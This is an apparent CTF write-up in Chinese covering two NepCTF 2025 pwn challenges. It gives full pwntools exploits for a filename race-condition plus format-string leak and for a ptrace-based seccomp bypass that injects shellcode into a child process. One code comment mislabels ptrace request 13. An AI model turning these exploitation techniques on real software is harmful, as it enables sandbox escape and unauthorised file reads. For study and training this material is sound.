NepCTF2025-PWN方向做题笔记

Time

解题思路

题目存在一个非栈上的格式化字符串漏洞,并利用pthread_create()开启一个子线程。

以下是 IDA 中题目main()源码(重命名了一些函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
input_name();
while ( 1 )
{
while ( !(unsigned int)input_file_name() )
;
pthread_create(newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
}
}

input_file_name(),读入输入数据到 变量file里,并检查file的子串中是否包含flag,包含flag就返回 1 不进入子线程。

1
2
3
4
5
6
7
8
9
__int64 input_file_name()
{
puts("input file name you want to read:");
__isoc99_scanf("%s", file);
if ( !strstr(file, "flag") )
return 1LL;
puts("flag is not allowed!");
return 0LL;
}

start_routine()在子线程中运行,会先计算 我们输入的文件名 的 MD5值,接着会打开file,打开成功即文件存在,会读入文件内容到 栈上buf,关闭文件,接着就是格式化字符串漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 __fastcall start_routine(void *rdi0)
{
unsigned int n; // eax
int i; // [rsp+4h] [rbp-46Ch]
int j; // [rsp+8h] [rbp-468h]
int fd; // [rsp+Ch] [rbp-464h]
_DWORD a1[24]; // [rsp+10h] [rbp-460h] BYREF
_BYTE v7[16]; // [rsp+70h] [rbp-400h] BYREF
_BYTE buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
unsigned __int64 v9; // [rsp+468h] [rbp-8h]

v9 = __readfsqword(0x28u);
sub_1329(a1);
n = strlen(file);
sub_1379(a1, file, n);
sub_14CB(a1, v7);
puts("I will tell you last file name content in md5:");
for ( i = 0; i <= 15; ++i )
printf("%02X", (unsigned __int8)v7[i]);
putchar(10);
for ( j = 0; j <= 999; ++j )
buf[j] = 0;
fd = open(file, 0);
if ( fd >= 0 )
{
read(fd, buf, 0x3E8uLL);
close(fd);
printf("hello ");
printf(format_0);
puts(" ,your file read done!");
}
else
{
puts("file not found!");
}
return v9 - __readfsqword(0x28u);
}

main()会读入输入的file,再进行检查,然后 子线程中的start_routine()会打开 file,读入文件内容到栈上。

题目中存在一个关键点是,子线程中的start_routine()会先计算我们输入数据的MD5值,再打开file,这就会使子线程打开文件并读入file的时刻延后。

利用这一关键点的方法就是第一次输入file时,输入可以通过的文件名,接着main()就会开启子线程,在子线程中进入start_routine(),并计算file的MD5值,就在这一段开启线程和计算MD5值的短时间里,我们其实还在input_file_name(),如果在这个短时间内,在input_file_name()里快速又输入flag,就有可能实现在open前替换fileflag

这里借用zer00ne师傅的图帮助理解:

最直观的理解就是当你第一次输入文件名后,程序马上又问了你一次input file name you want to read:,然后才进入子线程,打印了I will tell you last file name content in md5:

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("nepctf30-lo1q-bkvj-9s19-1de7cypq4949.nepctf.com", 443, ssl=True, sni="nepctf30-lo1q-bkvj-9s19-1de7cypq4949.nepctf.com")
#io = process('./time')
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

name = f"%{12+9}$p".encode()
for i in range(10):
name += f"-%{13+9+i}$p".encode()
sla(b"name:\n", name)
sla(b"input file name you want to read:\n", b"time")
sla(b"input file name you want to read:\n", b"flag")
ia()

将得到的flag解码,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def hex_to_string(hex_data):
result = b""
for val in hex_data:
num = int(val, 16)
# 计算需要多少字节表示这个数
byte_len = (num.bit_length() + 7) // 8
# 转换为字节串(小端)
b = num.to_bytes(byte_len, byteorder='little')
result += b
return result.decode(errors='replace') # errors='replace' 防止乱码崩溃


hex_data = [
"0x2bc422698ba00f71",
"0x627b46544370654e",
"0x2d31646661316536",
"0x3062372d62306464",
"0x382d313837352d61",
"0x3666373263313263",
"0xa7d383564"
]

print(hex_to_string(hex_data))

smallbox

解题思路

main()就是先开启了一个子进程,然后让它陷入死循环,接着读入shellcode,打开沙箱,执行shellcode

这个沙箱还是我第一次见,只允许系统调用ptrace()的沙箱

1
2
3
4
5
6
7
8
9
10
╭─icyice@icyice-virtual-machine ~/Desktop/nepctf2025/smallbox 
╰─$ seccomp-tools dump ./smallbox
[+] please input your shellcode:

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL

先简单了解一下ptrace()

1
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

作用:

  1. 编写动态分析工具,如 gdb,strace
  2. 反追踪,一个进程只能被一个进程追踪(注:一个进程能同时追踪多个进程),若此进程已被追踪,其他基于ptrace的追踪器将无法再追踪此进程,更进一步可以实现子母进程双线执行动态解密代码等更高级的反分析技术
  3. 代码注入,往其他进程里注入代码。
参数 含义
request 请求类型
pid 被调试进程的 PID
addr 地址参数(依赖于请求类型)
data 数据参数(依赖于请求类型)

常见的请求宏

宏名 描述
PTRACE_TRACEME 表示自己要被父进程调试(子进程调用)
PTRACE_PEEKDATA/PTRACE_PEEKUSER 读取数据或用户区(寄存器)
PTRACE_POKEDATA/PTRACE_POKEUSER 写入数据或用户区(寄存器)
PTRACE_GETREGS/PTRACE_SETREGS 获取或设置所有通用寄存器(x86、x86_64)
PTRACE_CONT 继续执行被暂停的子进程
PTRACE_SINGLESTEP 单步执行
PTRACE_ATTACH 附加到一个正在运行的进程(类似 GDB attach)
PTRACE_DETACH 从目标进程分离,目标继续运行
PTRACE_SYSCALL 每次系统调用前暂停目标,常用于 syscall hook
PTRACE_KILL 杀死被调试进程
PTRACE_SEIZE 非侵入式 attach,用于新型调试接口
PTRACE_INTERRUPT 中断目标(常用于 SEIZE 模式)

想要使用相应的请求宏就需要知道它们对应的编号

常见 PTRACE 请求及其对应编号

宏名称 数值 描述说明
PTRACE_TRACEME 0 子进程调用,声明“我希望被父进程调试”
PTRACE_PEEKTEXT 1 读取代码区(只读)
PTRACE_PEEKDATA 2 读取数据区(只读)
PTRACE_PEEKUSER 3 读取用户结构区(寄存器等)
PTRACE_POKETEXT 4 写入代码区(只写)
PTRACE_POKEDATA 5 写入数据区(只写)
PTRACE_POKEUSER 6 写入用户结构区(寄存器)
PTRACE_CONT 7 让子进程继续执行
PTRACE_KILL 8 杀死被调试进程
PTRACE_SINGLESTEP 9 单步执行一条指令
PTRACE_GETREGS 12 获取通用寄存器
PTRACE_SETREGS 13 设置通用寄存器
PTRACE_ATTACH 16 附加到一个正在运行的进程
PTRACE_DETACH 17 分离调试器,目标进程恢复执行
PTRACE_SYSCALL 24 在每次 syscall 前后中断
PTRACE_SETOPTIONS 0x4200 设置调试选项(如跟踪子进程)
PTRACE_GETEVENTMSG 0x4201 获取上次 wait 状态事件消息
PTRACE_GETSIGINFO 0x4202 获取信号信息
PTRACE_SETSIGINFO 0x4203 设置信号信息
PTRACE_GETREGSET 0x4204 获取多组寄存器
PTRACE_SETREGSET 0x4205 设置多组寄存器
PTRACE_SEIZE 0x4206 非侵入 attach(不暂停目标)
PTRACE_INTERRUPT 0x4207 暂停目标进程
PTRACE_LISTEN 0x4208 等待子进程停止
PTRACE_PEEKSIGINFO 0x4209 获取信号队列的信息

这道题目就需要我们将父进程附加到子进程上,将父进程不能执行的shellcode注入子进程里,注意要修改子进程的RIP为0xDEADC0DE000,最后是父进程脱离子进程,这样以后子进程就会开始执行父进程注入的shellcode

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = remote("nepctf30-aetq-gta1-wqw6-rrerhiu4o689.nepctf.com", 443, ssl=True, sni="nepctf30-aetq-gta1-wqw6-rrerhiu4o689.nepctf.com")
io = process('./smallbox')
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

shellcode = asm("mov r14d, dword ptr [rbp-0xc]") ## 将 main()中的`pid` 也就是子进程的PID存进 r14 便于后续使用
shellcode += asm(shellcraft.ptrace(16,"r14")) ## PTRACE_ATTACH = 16:附加到子进程,相当于你在 GDB 中 attach 某个 PID。
shellcode += asm(
'''
mov rcx, 0x10000000
loop:
sub rcx, 1
test rcx, rcx
jnz loop
'''
) ## attach需要比较长的时间,因为不能使用 wait() 等系统调用(被 seccomp ban 掉了),只能用 loop 死等来等待 ptrace attach 成功。
shellcode += asm(shellcraft.ptrace(12, "r14", 0, 0xDEADC0DE500)) ## 设置 RIP:让子进程的下一条指令跳转到 0xDEADC0DE000,PTRACE_SETREGS = 12:设置通用寄存器(其中包括 RIP、RSP、RAX 等)。
shellcode += asm("mov rsp, 0xDEADC0DE588; mov rax, 0xDEADC0DE000; push rax; mov rsp, 0xDEADC0DE800") ## 设置一个伪栈
shellcode += asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000, 0x010101010101b848))
shellcode += asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE008, 0x672e2fb848500101))
shellcode += asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE010, 0x043148010166606d))
shellcode += asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE018, 0xf631d231e7894824))
shellcode += asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE020, 0x01ba41050f58026a))
shellcode += asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE028, 0x0301f28141010102))
shellcode += asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE030, 0x6ad2315f016a0101))
shellcode += asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE038, 0x00050f58286a5e03))

## 使用 PTRACE_POKEDATA = 5 写入 8 字节一组的 shellcode 到 0xDEADC0DE000
'''
orw
0xdeadc0de000: 0x010101010101b848 0x672e2fb848500101
0xdeadc0de010: 0x043148010166606d 0xf631d231e7894824
0xdeadc0de020: 0x01ba41050f58026a 0x0301f28141010102
0xdeadc0de030: 0x6ad2315f016a0101 0x00050f58286a5e03
'''

shellcode += asm(shellcraft.ptrace(13, "r14", 0, 0xDEADC0DE500)) ## PTRACE_SYSCALL = 13,让被调试进程在 每次进入或退出 syscall 时都暂停执行。
shellcode += asm(shellcraft.ptrace(17, "r14", 0,0)) ## PTRACE_DETACH = 17,让父进程脱离子进程,使子进程恢复执行
shellcode += asm("jmp $") ##跳转本身,防止父进程退出
ru(b"please input your shellcode:")
#debug()
s(shellcode)
ia()